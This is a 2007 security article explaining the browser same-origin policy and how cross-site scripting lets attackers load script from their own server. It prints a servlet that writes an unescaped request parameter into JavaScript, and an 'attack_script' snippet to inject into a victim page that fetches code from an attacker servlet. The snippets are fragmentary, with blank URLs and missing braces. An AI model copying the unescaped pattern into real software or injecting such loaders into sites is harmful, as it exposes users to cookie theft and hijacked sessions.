Breaking the same origin barrier of JavaScript

By successfully exploiting the cross-site scripting vulnerability of a Web application, a hacker can get around the "same origin" policy in a user's browser and log keystrokes, steal cookies, modify the person's data, or even insert unwanted transactions while the person does online banking. Anurag Agarwal explains how it can be done.

Anurag Agarwal
Anurag Agarwal, CISSP, senior application security consultant

Often we have heard that JavaScript cannot send requests to another domain. That's because of the same origin policy implemented in browsers. The same origin policy of the browsers prevents document- or script-loading from a different domain to manipulate the document loaded from current domain. Without that, JavaScript from a malicious domain could do any number of adverse things, such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking. Hence, most of the current browsers implement the same origin policy on nearly every property and method available to JavaScript.

The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on a subdomain are allowed access to the scripts on the main domain. For example, the script from could set the domain property to "". This way the script passes the origin checks when accessing windows loaded from "". However, the scripts from "" could not set the domain property to "".

When a script tries to access properties or methods in a different window (e.g., using the handle returned by ) the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed. If they don't, then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

Applications vulnerable to cross-site scripting (XSS) attacks are the doorway here. If a user visits a site that has been exploited, not only can a hacker can gather information about the user but he can get around the same origin policy of a user's browser and wreak even more havoc.

External JavaScript from Java servlets
One of the lesser-known sides of external JavaScript is the ability to reference a server-side program (CGI, PHP or Servlets) instead of the familiar .js file. It is kind of interesting, since a client-side script interacting with a server-side program is not considered safe and is usually not allowed from within the browser. But a script can be dynamically generated and loaded if referenced in src attribute of the script tag while the HTML page is being loaded. Using the src attribute of the script tag, you can call an external JavaScript. You can also call a server-side program to dynamically generate a JavaScript. Example:

<script type="text/JavaScript" src="myservlet"></script>

"myservlet" is the server-side program and could be an absolute path like "" or a relative path like "myservlet" instead of the usual .js file. Interestingly, you can even pass parameters to the servlet through the URL string. Example:

<script type="text/JavaScript" src=""></script>

Now the servlet can be invoked, process parameters and return the result back. There is a limitation, however. It can only return JavaScript code. You also have to set the content type as "application/x-JavaScript". Just think of it as returning JavaScript code instead of HTML code.

There is a workaround to this limitation. Just like when returning HTML, if you had JavaScript code, you would encapsulate in a script tag, here. If you have to return HTML code, you can always return "document.body.innerHTML = 'html code'" or "document.write('html code')". So your typical servlet would look like this:

public class myservlet
 public void doGet(HttpServletRequest request, HttpServletResponse response)
  PrintWriter out = response.getWriter();
String name = request.getParameter("name");
  out.println("document.body.innerHTML = 'Welcome " + name + "';");

A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid JavaScript file and must conform to JavaScript syntax. The servlet outputs a valid JavaScript code that replaces the content of the HTML page and displays "Welcome anurag".

The other limitation is that it cannot have an interactive session with the server-side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid JavaScript and executes it. The script tag is executed only once, and after the entire page is loaded it cannot call the server-side program again.

Breaking the same origin barrier using external JavaScript
As we discussed above, once the entire HTML page is loaded and all the JavaScript files are executed, there can be no more interaction with the server since all the script tags are executed by the browser. But what about DHTML? You can dynamically create a script element and set a server-side program in the src attribute and voila, you have just breached the same domain barrier. Let's take a look at the code.

Append the following JavaScript code at the victim browser:

function loadscript()
var attack_script = document.createElement('script'); = 'myscript';
attack_script.src = ''; //Replace this url with your
servlet/cgi/php url. attack_script.type = 'text/JavaScript'; document.body.appendChild(attack_script); }

Create the servlet at the attacker server:

public class myservlet
 public void doGet(HttpServletRequest request, HttpServletResponse response)
  PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
  out.println("document.body.innerHTML='Your IP address is : " + ip + "';");

You can view the demo here --

Download code
You can download the sample code here --


About the author: Anurag Agarwal, CISSP, works for a leading software solutions provider where he addresses different aspects of application security. You may e-mail him at

Reader Feedback: Share your comments on this article
This was first published in January 2007

Dig deeper on Internet Application Security



Enjoy the benefits of Pro+ membership, learn more and join.



Forgot Password?

No problem! Submit your e-mail address below. We'll send you an email containing your password.

Your password has been sent to: